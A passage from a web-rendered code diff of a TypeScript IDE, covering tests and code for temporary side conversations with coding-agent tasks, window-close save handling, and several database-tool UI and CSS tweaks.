toolWindowService: () => ({ show: vi.fn() }),
}));
const source: AgentTask = {
id: "t1",
title: "Task",
provider: "codex",
status: "ready",
isolation: "local",
model: null,
cwd: "/repo",
branch: null,
base: null,
baseCommit: null,
error: null,
createdMs: 0,
updatedMs: 0,
config: [],
commands: [],
usage: null,
queue: [],
capabilities: { fork: true, rollback: true, steer: true, images: true, readOnly: false },
};
const side = (id: string): AgentTask => ({ ...source, id, title: `Side of ${id}`, isolation: "local" });
const user = (text: string): AgentEntry => ({
type: "user",
text,
attachments: [],
sentMs: 0,
doneMs: 1,
steered: false,
});
const agentReply = (text: string): AgentEntry => ({ type: "agent", text });
beforeEach(() => {
ipc.create.mockReset().mockResolvedValue({ status: "ok", data: side("t2") });
ipc.prompt.mockReset().mockResolvedValue({ status: "ok", data: null });
ipc.delete.mockReset().mockResolvedValue({ status: "ok", data: null });
ipc.cancel.mockReset().mockResolvedValue({ status: "ok", data: null });
editor.open.mockReset().mockResolvedValue(undefined);
editor.close.mockReset().mockResolvedValue(true);
editor.paneOf.mockReset().mockReturnValue(null);
useAgents.setState({
tasks: new Map([["t1", source]]),
entries: new Map([["t1", [user("Fix the login bug"), agentReply("Fixed it in `auth.ts`.")]]]),
ephemeral: new Set<string>(),
composers: new Map(),
});
});
it("opens a side conversation of the task: ephemeral, local, split and quoted", async () => {
const id = await startSideConversation("t1", "the selected text");
expect(id).toBe("t2");
// The host builds the context from its own copy of the conversation.
expect(ipc.create).toHaveBeenCalledWith(
expect.objectContaining({
provider: "codex",
isolation: "local",
prompt: { text: "the selected text", files: [], images: [] },
}),
"t1",
);
const s = useAgents.getState();
expect(s.ephemeral.has("t2")).toBe(true);
expect(s.composers.get("t2")?.text).toContain("> the selected text");
expect(editor.open).toHaveBeenCalledWith(expect.objectContaining({ kind: "agent-session", key: "agent:t2" }), {
focus: true,
side: true,
});
});
it("keeps the marks across a page reload and drops them with the app", async () => {
const { watchEphemeralTasks } = await import("./store");
const stop = watchEphemeralTasks();
sessionStorage.setItem("openidea.agents.sideMarks", JSON.stringify(["t2"]));
// The store refills after the reload: the mark comes back with the task…
useAgents.setState({
loaded: true,
tasks: new Map([
["t1", source],
["t2", side("t2")],
]),
ephemeral: new Set(),
});
expect(useAgents.getState().ephemeral.has("t2")).toBe(true);
// …and when the host's copy is gone (app restart, or the task was discarded), so is the mark.
useAgents.setState((s) => {
const tasks = new Map(s.tasks);
tasks.delete("t2");
return { tasks };
});
expect(useAgents.getState().ephemeral.has("t2")).toBe(false);
expect(sessionStorage.getItem("openidea.agents.sideMarks")).toBe("[]");
stop();
});
it("sends follow-up messages as typed: the host owns the context", async () => {
await startSideConversation("t1", "the selected text");
useAgents.setState((s) => {
const composers = new Map(s.composers);
composers.set("t2", { text: "Why did you touch auth.ts?", files: [], images: [] });
return { composers };
});
await sendMessage("t2", false);
expect(ipc.prompt).toHaveBeenCalledTimes(1);
const [task, prompt] = ipc.prompt.mock.calls[0]!;
expect(task).toBe("t2");
expect(prompt.text).toBe("Why did you touch auth.ts?");
});
it("opens a nested side conversation in its parent's pane", async () => {
await startSideConversation("t1", "first");
editor.open.mockClear();
// The parent side conversation shows in a split pane: the nested one joins it there.
editor.paneOf.mockReturnValue("pane-right");
useAgents.setState((s) => {
const entries = new Map(s.entries);
entries.set(
"t2",
entries.get("t1")!.map((e) => ({ ...e })),
);
return { entries };
});
await startSideConversation("t2", "deeper question");
expect(ipc.create).toHaveBeenLastCalledWith(expect.objectContaining({ provider: "codex" }), "t2");
// No second split: it stacks in the same pane.
expect(editor.open).toHaveBeenLastCalledWith(expect.anything(), { focus: true, pane: "pane-right" });
});
it("discards a side conversation: stops it, deletes it, clears its state", async () => {
const busy = { ...side("t2"), status: "running" as const };
useAgents.setState({
tasks: new Map([
["t1", source],
["t2", busy],
]),
ephemeral: new Set(["t2"]),
entries: new Map([
["t2", []],
["t2/sub", []],
["t1", []],
]),
composers: new Map([["t2", { text: "", files: [], images: [] }]]),
unread: new Set(["t2"]),
docked: null,
});
ipc.cancel.mockImplementation(async () => {
useAgents.setState((s) => {
const tasks = new Map(s.tasks);
tasks.set("t2", { ...busy, status: "ready" });
return { tasks };
});
return { status: "ok", data: null };
});
await discardEphemeral("t2");
expect(ipc.cancel).toHaveBeenCalledWith("t2", null);
expect(ipc.delete).toHaveBeenCalledWith("t2", false);
const s = useAgents.getState();
expect(s.ephemeral.has("t2")).toBe(false);
expect(s.tasks.has("t2")).toBe(false);
expect(s.tasks.has("t1")).toBe(true);
expect(s.entries.has("t2")).toBe(false);
expect(s.entries.has("t2/sub")).toBe(false);
expect(s.composers.has("t2")).toBe(false);
expect(s.unread.has("t2")).toBe(false);
});
it("ignores discard requests for tasks that are not side conversations", async () => {
useAgents.setState({ tasks: new Map([["t1", source]]), ephemeral: new Set() });
await discardEphemeral("t1");
expect(ipc.delete).not.toHaveBeenCalled();
});
+170 -1
Переглянути файл
@@ -129,6 +129,8 @@ interface AgentsState {
sessionLocation: SessionLocation;
lastTask: string | null;
homeOpen: boolean;
/** Side conversations by task id: kept out of the task list, discarded when their view closes. */
ephemeral: ReadonlySet<string>;
pinnedModels: string[];
/** Whether messages carry the editor's current file and selection. */
ideContext: boolean;
@@ -202,6 +204,7 @@ export const useAgents = create<AgentsState>(() => ({
sessionLocation: load<unknown>(SESSION_LOCATION_KEY, null) === "toolWindow" ? "toolWindow" : "editor",
lastTask: null,
homeOpen: false,
ephemeral: new Set<string>(),
pinnedModels: load<string[]>(PINNED_MODELS_KEY, []),
ideContext: load<boolean>(IDE_CONTEXT_KEY, true),
scrollPositions: new Map(),
@@ -545,6 +548,7 @@ export function disconnect() {
externalError: null,
importOpen: false,
importing: new Set(),
ephemeral: new Set<string>(),
scrollPositions: new Map(),
});
}
@@ -843,12 +847,20 @@ function showDockedTask(task: string) {
}
function saveSessionLocation(location: SessionLocation) {
const previous = useAgents.getState().sessionLocation;
useAgents.setState({ sessionLocation: location });
save(SESSION_LOCATION_KEY, location);
if (location === "toolWindow") {
for (const { input } of editorService().openTabs?.() ?? []) {
if (input.kind === SESSION_KIND || input.kind === HOME_KIND) void editorService().closeInput?.(input.key);
}
} else {
// Leaving the tool window closes the docked view: a side conversation has no view left.
const docked = useAgents.getState().docked;
if (docked && previous === "toolWindow" && useAgents.getState().ephemeral.has(docked)) {
useAgents.setState({ docked: null });
void discardEphemeral(docked);
}
}
}
@@ -864,7 +876,7 @@ export function setSessionLocation(location: SessionLocation) {
activeTask ??
(s.lastTask && s.tasks.has(s.lastTask) ? s.lastTask : null) ??
[...s.tasks.values()]
.filter((t) => t.status !== "archived")
.filter((t) => t.status !== "archived" && !s.ephemeral.has(t.id))
.sort((a, b) => (b.updatedMs ?? b.createdMs ?? 0) - (a.updatedMs ?? a.createdMs ?? 0))[0]?.id;
saveSessionLocation(location);
useAgents.setState({ docked: null, homeOpen: false });
@@ -1148,6 +1160,163 @@ export async function forkTask(task: string, turns: number | null): Promise<void
}
}
/**
* The side-conversation marks survive a page reload (which wipes the store) in
* `sessionStorage`: they live exactly as long as the window and its backend tasks —
* an app restart clears both. Keeps the conversations out of the task list after a
* reload and lets closing their tab still discard them.
*/
const SIDE_MARKS_KEY = "openidea.agents.sideMarks";
function sideMarkIds(): string[] {
try {
return JSON.parse(globalThis.sessionStorage?.getItem(SIDE_MARKS_KEY) ?? "[]") as string[];
} catch {
return [];
}
}
function rememberSideMark(task: string) {
try {
const ids = sideMarkIds().filter((id) => id !== task);
ids.push(task);
globalThis.sessionStorage?.setItem(SIDE_MARKS_KEY, JSON.stringify(ids));
} catch {
/* storage unavailable */
}
}
function forgetSideMark(task: string) {
try {
globalThis.sessionStorage?.setItem(SIDE_MARKS_KEY, JSON.stringify(sideMarkIds().filter((id) => id !== task)));
} catch {
/* storage unavailable */
}
}
/**
* Restores the marks when the store refills after a page reload, and drops marks of
* tasks that are gone (the host's memory copy died with a restart, or was discarded).
* Call once per window; the returned function unsubscribes.
*/
export function watchEphemeralTasks(): () => void {
return useAgents.subscribe((s) => {
if (!s.loaded) return;
const saved = sideMarkIds();
const missing = saved.filter((id) => s.tasks.has(id) && !s.ephemeral.has(id));
const stale = [...s.ephemeral].filter((id) => !s.tasks.has(id) || !saved.includes(id));
if (!missing.length && !stale.length) return;
useAgents.setState((state) => {
const ephemeral = new Set(state.ephemeral);
missing.forEach((id) => ephemeral.add(id));
stale.forEach((id) => {
ephemeral.delete(id);
forgetSideMark(id);
});
return { ephemeral };
});
});
}
/**
* Opens a temporary side conversation of `task`, with `task`'s conversation as its
* context — nothing is copied or persisted; the host sends the context to the agent
* with its first message. Closing the pane discards it (`discardEphemeral`). Opening
* one from inside a side conversation keeps it in that same column.
*/
export async function startSideConversation(task: string, text: string): Promise<string> {
const s = useAgents.getState();
const source = s.tasks.get(task);
if (!source) throw new Error("the task is gone");
const created = await call(
commands.agentCreateEphemeral(
{
projectRoot: source.projectRoot,
// Only the side conversation's title comes from it; the context rides in memory.
prompt: { text, files: [], images: [] },
provider: source.provider,
config: source.config.filter((o) => o.current != null).map((o) => ({ id: o.id, value: o.current as string })),
isolation: "local" as const,
base: null,
mcpOverrides: source.mcpOverrides ?? {},
},
task,
),
);
// One frame: the watcher must never see the mark without the task (it would drop it
// again as stale before the task lands).
useAgents.setState((s) => ({
tasks: s.tasks.has(created.id) ? s.tasks : new Map(s.tasks).set(created.id, created),
ephemeral: new Set(s.ephemeral).add(created.id),
}));
rememberSideMark(created.id);
// Nested side conversations open in their parent's column; fresh ones split beside the task.
const nested = s.ephemeral.has(task);
const options: { focus: boolean; side?: boolean; pane?: string } = { focus: true };
if (nested) {
// The click that launched this didn't move the active pane (the toolbar keeps the
// selection), so anchor explicitly: a new tab in the parent side conversation's pane.
const pane = editorService().paneOf?.(sessionKey(task));
if (pane) options.pane = pane;
else options.side = true;
} else {
options.side = true;
}
await editorService().openInput(
{ kind: SESSION_KIND, key: sessionKey(created.id), data: { task: created.id, title: created.title } },
options,
);
quoteInComposer(created.id, text);
return created.id;
}
/** Stops a side conversation and deletes it, its context included. */
export async function discardEphemeral(task: string): Promise<void> {
const s = useAgents.getState();
if (!s.ephemeral.has(task)) return;
forgetSideMark(task);
useAgents.setState((state) => {
const ephemeral = new Set(state.ephemeral);
ephemeral.delete(task);
return { ephemeral };
});
try {
if (isBusy(s.tasks.get(task)?.status ?? "ready")) {
await cancelTask(task);
await settled(task);
}
await deleteTask(task, s.tasks.get(task)?.isolation === "worktree");
} catch (e) {
console.warn("Couldn't discard the side conversation", e);
}
useAgents.setState((state) => {
const without = <V>(map: Map<string, V>) => {
const next = new Map(map);
next.delete(task);
return next;
};
const entries = new Map(state.entries);
for (const key of [...entries.keys()]) if (key === task || key.startsWith(`${task}/`)) entries.delete(key);
const entryLoads = new Map(state.entryLoads);
for (const key of [...entryLoads.keys()]) if (key === task || key.startsWith(`${task}/`)) entryLoads.delete(key);
return {
tasks: without(state.tasks),
entries,
entryLoads,
changes: without(state.changes),
groupedChanges: without(state.groupedChanges),
composers: without(state.composers),
scrollPositions: without(state.scrollPositions),
unread: state.unread.has(task) ? new Set([...state.unread].filter((id) => id !== task)) : state.unread,
docked: state.docked === task ? null : state.docked,
lastTask: state.lastTask === task ? null : state.lastTask,
lastComposer: state.lastComposer === task ? HOME : state.lastComposer,
};
});
clearAgentTaskFontZoom(sessionKey(task));
void editorService().closeInput?.(sessionKey(task));
}
/** Puts a message back in the task's composer, above anything typed meanwhile. */
function restoreComposer(task: string, text: string, images: AgentImage[]) {
const current = composerDraft(task);
-17
Переглянути файл
@@ -115,23 +115,6 @@ describe("native window close", () => {
expect(forget).not.toHaveBeenCalled();
});
it("stays open when an untitled buffer's Save As is cancelled", async () => {
vi.mocked(ipc.commands.windowCloseContext).mockResolvedValue({ quitting: false, windows: 2 });
vi.mocked(services.maybeEditorService).mockReturnValue({
forgetSavedTabs: forget,
keepSavedTabs: keep,
dirtyDocumentIds: () => [],
untitledDirtyDocumentIds: () => ["untitled:1"],
cancelClose: vi.fn(),
} as never);
deps.prepareClose = async () => ({ dirty: 1, discard: vi.fn(), commit: vi.fn(), cancel: vi.fn() });
deps.ask = async () => ({ button: "save", checked: false });
const prevented = await close({});
expect(deps.saveAll).toHaveBeenCalledOnce();
expect(prevented).toHaveBeenCalledOnce();
expect(ipc.commands.windowGroupCancelClose).toHaveBeenCalled();
});
it("restores saved tabs if returning to Welcome fails", async () => {
vi.mocked(ipc.commands.closeProject).mockRejectedValue(new Error("close failed"));
const prevented = await close({ closeTabsWithWindow: true });
-2
Переглянути файл
@@ -148,8 +148,6 @@ describe("openProjectInWindow", () => {
expect(wslResolve).toHaveBeenCalledWith(share);
expect(connectRemote).toHaveBeenCalledWith(target, linuxPath);
expect(openProject).not.toHaveBeenCalled();
// The remote window doesn't keep untitled buffers, so the guard counts them.
expect(confirmLeaveProject).toHaveBeenCalledWith(false);
});
it("asks for a new window when this one already has a project", async () => {
+10 -14
Переглянути файл
@@ -250,7 +250,7 @@ async function onCloseRequested(deps: CloseDeps): Promise<boolean> {
dirty: dirtyCount(),
project: s.project?.displayName || s.project?.name || null,
},
savingUntitled(deps),
deps,
);
if (!ok) {
await (ctx.quitting ? commands.appCancelQuit() : commands.windowGroupCancelClose());
@@ -270,18 +270,6 @@ async function onCloseRequested(deps: CloseDeps): Promise<boolean> {
}
}
/** Save asks for each untitled buffer's path; one left unsaved (Save As cancelled) keeps the window open. */
function savingUntitled(deps: CloseDeps): CloseDeps {
return {
...deps,
saveAll: async () => {
await deps.saveAll();
if (maybeEditorService()?.untitledDirtyDocumentIds?.().length)
throw new IpcError({ kind: "cancelled", message: "Untitled files were not saved" });
},
};
}
/**
* Unsaved changes before this window opens another project in place or closes it. `project` names
* the project in the prompt when this window doesn't hold it (a comparison window).
@@ -301,7 +289,15 @@ export async function confirmLeave(
? { ...deps, saveAll: () => Promise.resolve(maybeEditorService()?.saveAll({ skipUntitled: true })) }
: keepUntitled
? deps
: savingUntitled(deps);
: {
...deps,
// Save asks for each untitled buffer's path; one left unsaved (Save As cancelled) keeps the project open.
saveAll: async () => {
await deps.saveAll();
if (maybeEditorService()?.untitledDirtyDocumentIds?.().length)
throw new IpcError({ kind: "cancelled", message: "Untitled files were not saved" });
},
};
return decideClose(
{
quitting: false,
+3 -3
Переглянути файл
@@ -55,10 +55,10 @@ function openFailed(path: string, e: unknown) {
/** Opens project `path` in this window; true once it is this window's project. */
async function openHere(path: string): Promise<boolean> {
if (!isRemoteWindow() && useProject.getState().project?.root === path) return true;
// A folder of a WSL distro runs there, not as a network folder; the window then drops untitled buffers.
const wsl = await commands.wslResolve(path).catch(() => null);
if (!(await confirmLeaveProject(!wsl))) return false;
if (!(await confirmLeaveProject())) return false;
try {
// A folder of a WSL distro runs there, not as a network folder.
const wsl = await commands.wslResolve(path).catch(() => null);
if (wsl) await connectRemote(wsl.target, wsl.path);
else await openProject(path);
return true;
-1
Переглянути файл
@@ -57,7 +57,6 @@ export function exportMenu(data: ExportData, source: string, format?: ExportForm
export function ExtractorSelect({ value, onChange }: { value: ExportFormat; onChange: (f: ExportFormat) => void }) {
return (
<Select
variant="ghost"
aria-label="Data extractor"
value={value}
options={EXPORT_FORMATS.map((f) => ({ value: f.id, label: f.label }))}
+2 -2
Переглянути файл
@@ -47,6 +47,7 @@
.headerName {
overflow: hidden;
text-overflow: ellipsis;
font-weight: 600;
}
.headerIcon {
flex: none;
@@ -57,7 +58,6 @@
margin-left: auto;
color: var(--fg-muted);
}
.cellNumber {
justify-content: flex-end;
}
@@ -1364,7 +1364,7 @@
gap: var(--space-0-5);
padding: 2px 4px;
border: 1px solid var(--border-popup, var(--border));
border-radius: var(--radius-popup);
border-radius: var(--radius-small);
background: var(--bg-popup, var(--bg-elev));
color: var(--fg-secondary);
font-size: var(--fs-small);
+44 -33
Переглянути файл
@@ -18,7 +18,20 @@ import clsx from "clsx";
import { call, commands, type DbPlanNode, type DbQueryResult } from "@/platform/ipc";
import { shortcutLabel } from "@/platform/keymap";
import { setContext } from "@/platform/context";
import { EmptyState, Icon, IconButton, Select, Spinner, Tabs, Tree, showContextMenu, T, Toolbar } from "@/ui";
import {
Button,
EmptyState,
Icon,
IconButton,
Select,
Spinner,
Tabs,
Tree,
showContextMenu,
T,
tooltipAttrs,
Toolbar,
} from "@/ui";
import { notifications } from "@/workbench/contributions";
import { ToolWindowContentTabs } from "@/workbench/toolwindows/ToolWindows";
import { ChartView } from "./ChartView";
@@ -52,6 +65,7 @@ import {
pageable,
pinResult,
rerunResult,
targetLabel,
useDatabase,
withConnection,
type OutputLine,
@@ -159,25 +173,6 @@ function Pager({ tab }: { tab: ResultTab }) {
const { first, last } = w;
const total = w.total === null ? `${w.last + 1}+` : String(w.total);
const sizes = PAGE_SIZES.includes(pageSize) ? PAGE_SIZES : [...PAGE_SIZES, pageSize].sort((a, b) => a - b);
const sizeSelect = (label?: string) => (
<Select
variant="ghost"
aria-label="Page size"
value={String(pageSize)}
options={sizes.map((v) => ({ value: String(v), label: String(v) }))}
renderValue={label ? () => label : undefined}
onChange={(v) => go(0, Number(v))}
disabled={!canPage}
/>
);
// Everything fits on one page: only the row count, which still sets the page size.
const count = w.total;
if (!canPrevious && !canNext && count !== null)
return (
<Toolbar className={styles.resultPager} aria-label="Result pages" title={outcomeSummary(tab.outcome)}>
{sizeSelect(tx`${count} rows`)}
</Toolbar>
);
return (
<Toolbar className={styles.resultPager} aria-label="Result pages" title={outcomeSummary(tab.outcome)}>
<IconButton
@@ -221,7 +216,13 @@ function Pager({ tab }: { tab: ResultTab }) {
disabled={!canLast}
onClick={() => void goLast()}
/>
{sizeSelect()}
<Select
aria-label="Page size"
value={String(pageSize)}
options={sizes.map((v) => ({ value: String(v), label: String(v) }))}
onChange={(v) => go(0, Number(v))}
disabled={!canPage}
/>
</Toolbar>
);
}
@@ -535,24 +536,30 @@ export function Result({ tab, onClose }: { tab: ResultTab; onClose?: () => void
disabled={busy}
onClick={addRow}
/>
<IconButton
icon="revert"
title="Revert"
shortcut={shortcutLabel("db.revertChanges")}
disabled={!dirty || busy}
onClick={() => setEdits(() => emptyEdits())}
/>
<IconButton
icon="arrow-up"
title="Submit"
shortcut={shortcutLabel("db.submitChanges")}
<Button
size="small"
variant="primary"
disabled={!dirty || busy}
onClick={() => void submit()}
/>
{...tooltipAttrs("Submit", shortcutLabel("db.submitChanges"))}
>
<T>Submit</T>
</Button>
<Button
size="small"
disabled={!dirty || busy}
onClick={() => setEdits(() => emptyEdits())}
{...tooltipAttrs("Revert", shortcutLabel("db.revertChanges"))}
>
<T>Revert</T>
</Button>
</>
)}
{tab.busy && <Spinner size={12} />}
<span className={styles.spacer} />
<span className={styles.resultSource} title={tab.outcome.statement.text}>
{targetLabel(tab.sourceId)}
</span>
<ExtractorSelect value={extractor} onChange={setExtractor} />
<IconButton
icon="export"
@@ -673,6 +680,10 @@ function PlanResult({ tab }: { tab: ResultTab }) {
<IconButton icon="refresh" title="Explain Again" disabled={tab.busy} onClick={() => void rerunResult(tab.id)} />
<PinButton tab={tab} />
{tab.busy && <Spinner size={12} />}
<span className={styles.spacer} />
<span className={styles.resultSource} title={tab.outcome.statement.text}>
{targetLabel(tab.sourceId)}
</span>
</Toolbar>
<div className={clsx(styles.fill, styles.planView)}>
<div className={styles.planTree}>
-6
Переглянути файл
@@ -571,7 +571,6 @@ function ConsoleBar({ path, view }: { path: string; view: EditorView }) {
/>
<span className={styles.toolbarSeparator} />
<Select
variant="ghost"
aria-label="Row limit"
value={String(maxRows)}
options={ROW_LIMITS.map((v) => ({ value: v, label: tx`${Number(v).toLocaleString("en")} rows` }))}
@@ -581,7 +580,6 @@ function ConsoleBar({ path, view }: { path: string; view: EditorView }) {
<>
<span className={styles.toolbarSeparator} />
<Select
variant="ghost"
aria-label="Transaction mode"
value={manual ? "manual" : "auto"}
options={[
@@ -613,7 +611,6 @@ function ConsoleBar({ path, view }: { path: string; view: EditorView }) {
{bound && sourceById(boundId)?.driver === "snowflake" && <SnowflakeSession target={bound} idle={!running} />}
{switchable && (
<Select
variant="ghost"
aria-label={sqlServer ? "Database" : "Schema"}
value={schema || null}
placeholder="<schema>"
@@ -624,7 +621,6 @@ function ConsoleBar({ path, view }: { path: string; view: EditorView }) {
/>
)}
<Select
variant="ghost"
aria-label="Data source"
value={bound ?? null}
placeholder={sources.length ? "<data source>" : "None configured"}
@@ -678,7 +674,6 @@ function SnowflakeSession({ target, idle }: { target: string; idle: boolean }) {
return (
<>
<Select
variant="ghost"
aria-label="Warehouse"
value={state.warehouse || null}
placeholder="<warehouse>"
@@ -688,7 +683,6 @@ function SnowflakeSession({ target, idle }: { target: string; idle: boolean }) {
disabled={!idle}
/>
<Select
variant="ghost"
aria-label="Role"
value={state.role || null}
placeholder="<role>"
-37
Переглянути файл
@@ -87,41 +87,4 @@ describe("Compare Structure", () => {
const some = migrationSql("postgres", "public", diffs, new Set(["c:users.age", "c:users.id", "t:legacy"]));
expect(some).toBe("drop table public.legacy;\nalter table public.users add column age int default 0;\n");
});
it("compares defaults with string literals kept exact", () => {
const status = (d: string) => [users([col("status", "varchar(10)", { default: d })])];
const changes = (a: string, b: string) => diffSchemas(status(a), status(b))[0]!.columns[0]!.changes;
expect(changes("'ACTIVE'", "'active'")).toEqual(["default"]);
expect(changes("'a b'", "'a b'")).toEqual(["default"]);
expect(changes("'it''s'", "'it''S'")).toEqual(["default"]);
expect(changes("CURRENT_TIMESTAMP", "current_timestamp")).toEqual([]);
expect(changes("nextval( 'seq'::regclass)", "NEXTVAL('seq'::REGCLASS)")).toEqual([]);
});
it("keeps a foreign key into another schema pointing there", () => {
const orders = (refSchema: string): TableSnapshot[] => [
{
name: "orders",
kind: "table",
columns: [col("user_id", "int")],
indexes: [],
foreignKeys: [
{ schema: "app", table: "orders", columns: ["user_id"], refSchema, refTable: "users", refColumns: ["id"] },
],
},
];
const target: TableSnapshot[] = [{ ...orders("app")[0]!, foreignKeys: [] }];
const cross = diffSchemas(orders("shared"), target);
expect(cross[0]!.foreignKeys.map((k) => k.name)).toEqual(["(user_id) → shared.users(id)"]);
expect(migrationSql("postgres", "deployment", cross, differenceKeys(cross))).toContain(
"references shared.users (id);",
);
const local = diffSchemas(orders("app"), target);
expect(migrationSql("postgres", "deployment", local, differenceKeys(local))).toContain(
"references deployment.users (id);",
);
// The same link in both schemas: one into each schema's own users, the other into shared.
const mixed = diffSchemas(orders("shared"), orders("app"));
expect(mixed[0]!.foreignKeys.map((k) => k.state)).toEqual(["added", "removed"]);
});
});
Loaded 100 of 191 files, more files were not shown because too many files have changed in this diff. Show more